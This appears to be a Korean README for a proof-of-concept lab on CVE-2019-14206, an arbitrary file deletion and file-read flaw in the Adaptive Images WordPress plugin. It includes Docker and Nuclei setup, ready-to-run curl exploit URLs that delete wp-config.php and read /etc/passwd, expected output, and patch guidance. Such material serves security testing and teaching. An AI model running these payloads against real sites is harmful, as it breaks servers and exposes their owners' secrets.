
CVE-2019-14206에 대한 개념 증명 익스플로잇, Adaptive Images WordPress 플러그인에서 임의 파일 삭제를 시연합니다. 보안 교육 및 검증을 위한 Docker 랩, Nuclei 템플릿, 수동 테스트 스크립트가 포함되어 있습니다.
CVE-ID: CVE-2019-14206
심각도: 높음 (CVSS 6.5)
영향 받는 플러그인: Adaptive Images for WordPress
영향 받는 버전: < 0.6.67
이 취약점을 통해 원격의 인증되지 않은 공격자가 Adaptive Images 플러그인을 악용하여 WordPress 서버에서 임의 파일을 삭제할 수 있습니다.
// 플러그인이 사용자 입력을 검증하지 않음
$settings = $_REQUEST['adaptive-images-settings'];
// 공격자가 제어하는 매개변수로 파일 경로 구성
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;
// 임의 파일 삭제
unlink($cache_file);
# Nuclei 확인
nuclei --version
# Bash 확인
bash --version
# curl 확인
curl --version
# PHP 확인 (선택 사항)
php --version 2>/dev/null || echo "PHP를 사용할 수 없습니다 (선택 사항)"
# nuclei-templates 디렉토리인 경우
cd /Volumes/Codingsh/experimentos/nuclei-templates
# 또는 필요한 파일 다운로드
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates
# 파일 존재 확인
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh
전체 악용 과정을 시뮬레이션하는 데모 실행:
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh
작동 방식:
예상 출력:
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
# Docker가 실행 중인 경우
docker-compose up -d
# Docker가 실행 중이 아닌 경우, 시뮬레이터 사용
./docker-test-full.sh
# 환경은 다음에서 사용 가능
# http://localhost:8888
# 취약한 스크립트 존재 확인
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php
# LFI 테스트
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# 파일 삭제 테스트
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# wp-config.php 삭제 확인
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php
# 대상 파일 생성
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF
# 기본 스캔
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt
# 상세 스캔
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v
# 디버그 스캔 (바운티에 필수)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug
# 결과 저장
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt
# 결과 보기
cat results.txt
# 양성 결과 형식:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888
# /etc/passwd 읽기 시도
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# wp-config.php 읽기 시도
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"
LFI 예상 결과:
=== CVE-2019-14206 Vulnerability Test ===
[*] Settings received:
source_file = /etc/passwd
...
[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd
# 삭제 전 wp-config.php 존재 확인
ls -la wp-config.php
# 익스플로잇 실행
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# 삭제 후 wp-config.php 확인
ls -la wp-config.php
파일 삭제 예상 결과:
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php
Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible
[N/A] No results found
# Docker 환경 제거
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null
# 테스트 파일 제거
rm -rf docker-test/
rm -f targets.txt results.txt
# 삭제된 wp-config.php 복원 (필요시)
cat > wp-config.php << 'EOF'
<?php
// 복원된 파일
define('DB_NAME', 'wordpress');
EOF
# 스캔 결과 제거
rm -f results.txt
# 캐시 정리 (선택 사항)
nuclei -rm-cache
# Nuclei 설치
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# 또는 바이너리 다운로드
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/
# 파일 존재 확인
ls -la http/cves/2019/CVE-2019-14206.yaml
# YAML 구문 확인
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"
# 절대 경로 사용
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target
# 포트 확인
lsof -i :8888
# 다른 포트 사용
php -S localhost:9999
# PHP 설치 확인
which php
php --version
# Docker 상태 확인
docker ps
# Docker 시작
# macOS: Docker Desktop 열기
# Linux: sudo systemctl start docker
# 시뮬레이터 모드 사용 (Docker 불필요)
./docker-test-full.sh
플러그인 업데이트:
WordPress 관리자 > 플러그인 > Adaptive Images 업데이트
안전한 버전: >= 0.6.67
취약한 플러그인 제거:
rm -rf wp-content/plugins/adaptive-images/
// ✅ 안전한 코드 (수정 예시)
function adaptive_images_script_get_settings() {
// 입력 검증
$allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
$settings = [];
foreach ($allowed_keys as $key) {
if (isset($_REQUEST['adaptive-images-settings'][$key])) {
$settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
}
}
return $settings;
}
function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
// 경로 검증
$allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
$cache_dir = basename(dirname($cache_file));
if (!in_array($cache_dir, $allowed_cache_dirs)) {
return false; // 잘못된 경로 거부
}
// 검증된 절대 경로 사용
$cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
if (file_exists($cache_file)) {
unlink($cache_file);
}
}
이 자료는 교육 및 보안 테스트 목적으로만 제공됩니다.
저자와 기여자는 다음에 대해 책임을 지지 않습니다:
실제 시스템에서 이 취약점을 발견한 경우:
이 프로젝트는 다음을 보여줍니다:
기여는 환영합니다! 기여 방법:
git checkout -b feature/improvement)git commit -am 'Add improvement')git push origin feature/improvement)질문이나 문제가 있을 경우:
🎉 이 테스트 자료를 사용해 주셔서 감사합니다!
기억하세요: 큰 힘에는 큰 책임이 따릅니다. 이 지식을 사용하여 인터넷을 더 안전하게 만들고, 더 취약하게 만들지 마십시오.
만든 날짜: 2026년 1월 4일
버전: 1.0.0
상태: ✅ 프로덕션 사용 준비 완료